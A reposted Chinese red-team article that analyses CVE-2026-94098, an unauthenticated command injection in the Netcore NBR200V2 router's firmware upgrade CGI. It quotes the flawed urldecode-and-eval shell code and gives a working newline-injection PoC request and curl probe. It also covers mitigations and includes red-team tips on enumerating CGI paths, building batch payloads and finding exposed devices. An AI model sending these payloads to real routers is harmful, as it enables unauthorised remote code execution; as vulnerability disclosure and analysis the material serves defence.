文章总结: 本文披露NetcoreNBR200V2路由器固件升级接口存在CVE-2026-94098命令注入漏洞,评分9.1,PoC已公开。根因是CGI脚本urldecode与eval组合过滤黑名单遗漏换行符%0A,注入点在固件校验前,无需认证即可远程执行命令。厂商无回应无补丁,建议立即将管理口限制内网访问、封禁公网暴露,关注固件更新或更换设备。 综合评分: 85 文章分类: 漏洞分析,红队,渗透测试,安全工具
(9.1分)CVE-2026-94098:Netcore 路由器固件升级接口命令注入
红队安全圈 红队安全圈
红队安全圈
2026年9月21日 20:00 重庆
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
Netcore NBR200V2 企业路由器固件升级接口命令注入,评分 9.1,利用代码已公开,且注入点在固件校验逻辑之前——黑名单过滤漏了换行符这一个字符。
01 漏洞速览
漏洞编号CVE-2026-94098
关联漏洞CVE-2026-94099
影响产品Netcore NBR200V2
固件版本V1.3.241127.071246
漏洞类型OS 命令注入
危害等级9.1(Critical)
利用状态PoC 已公开
02 漏洞成因
出问题的点在固件的 /www/cgi-bin/upgrade 脚本(CVE-2026-94099 则是 restore.cgi,原理一样)。这类嵌入式设备的 CGI 通常就是 shell 脚本,脚本第一步先把攻击者可控的 QUERY_STRING 做 URL 解码:
QUERY_STRING=`urldecode \
“$QUERY_STRING”`
解码函数并不是简单的 urldecode,它先删掉一批 shell 元字符,再把 %xx 序列通过 printf 转成实际字符:
str=${str//[“‘`|\<>@
?*!();,.\$\^]/}
黑名单过滤一批元字符
str=${str//%/\x}
str=printf "$str"
注意这个黑名单:引号、反引号、管道、分号、括号、美元符全删了,看起来防得很全。但换行符 %0A 不在黑名单里,解码后会变成字面意义上的换行。而 shell 里换行就是命令分隔符。
解码后的字符串随后按 key=val 拆分,直接丢进 eval:
while [ true ]; do
param=${QUERY_STRING%%&*}
QUERY_STRING=
${QUERY_STRING#*&}
val=${param#*=}
key=${param%=*}
eval “${key}=’${val}'”
done
eval 拿到的 key 里如果带换行,就会被当成多行 shell 程序执行。开发者做了字符过滤,但恰恰漏了最致命的那个字符——整个漏洞的根因就在这。
另一个关键点:注入发生在升级文件校验之前,后面那套依赖权限的校验逻辑根本轮不到执行。所以攻击不需要任何会话或认证前提。
03 影响范围
受影响:Netcore NBR200V2,固件 V1.3.241127.071246(其他版本未确认,建议一律按受影响处理)。
已修复:厂商在披露前被提前告知,至今没有任何回应,没有补丁,没有修复版本。
04 利用分析
PoC 已经公开,原理验证非常直接。以触发设备重启为例:
POST /cgi-bin/upgrade
?reboot%0Afoo=bar HTTP/1.1
Host:
解码后 key 变成两行:
reboot
foo
eval 执行第一行 reboot,设备直接重启。把 reboot 换成任意命令就是完整 RCE——wget 拉脚本、busybox 反弹 shell,取决于设备上有什么工具。
restore.cgi 的 CVE-2026-94099 评分更高(9.9,PR:L),利用链同理:QUERY_STRING 注入换行符,eval 执行多行命令。
05 检测与排查
确认设备型号和固件版本:登录管理界面查看,或探测 /cgi-bin/upgrade 是否存在。NBR200V2 且固件为 V1.3.241127.071246 即受影响。也可以发一个无害探测请求看设备是否重启(注意这会造成短暂断网,生产环境慎用):
curl -X POST \
“http://
upgrade?reboot%0Afoo=bar”
06 修复建议
厂商无回应,目前没有官方补丁。缓解措施:
-
不要把 NBR200V2 管理口暴露到公网,防火墙封掉 80/443 的外部访问;
-
管理界面限制到指定运维 IP 段;
-
关注厂商后续固件更新,出补丁立刻升级;
-
有条件的话直接换设备,厂商失联的洞等于永远不修。
07 实战技巧
红队视角这批洞价值不小:
-
企业路由器的 /cgi-bin/ 目录值得主动摸一遍,nmap + http-enum 或者直接 curl 常见路径(upgrade、restore、backup)可以快速枚举;
-
遇到嵌入式 shell CGI,先看它有没有 urldecode + eval 的组合,黑名单过滤十有八九漏换行或 %0d,这是嵌入式设备命令注入的高频模式;
-
同厂商往往一个接口出问题全线都有——Netcore 这两个洞一个 upgrade 一个 restore,写成 payload 模板批量过一遍同型号其他 CGI 是常规操作;
-
利用前先确认目标是否暴露公网:Censys/FOFA 搜 NBR200V2 的指纹,能快速圈定暴露面。
08 POC 链接
https://app.notion.com/p/
Netcore-NBR200V2-Vul-6-
39f797159f1580259aa3cc1d0f512fde
https://vuldb.com/?id.408027
说明:第一链接为披露者完整分析(含利用链),第二链接为漏洞库条目。长按可逐行复制。
如果文章对您有收获,欢迎关注、点赞、推荐、转发。
— END —
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红队安全圈 红队安全圈 红队安全圈《(9.1分)CVE-2026-94098:Netcore 路由器固件升级接口命令注入》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论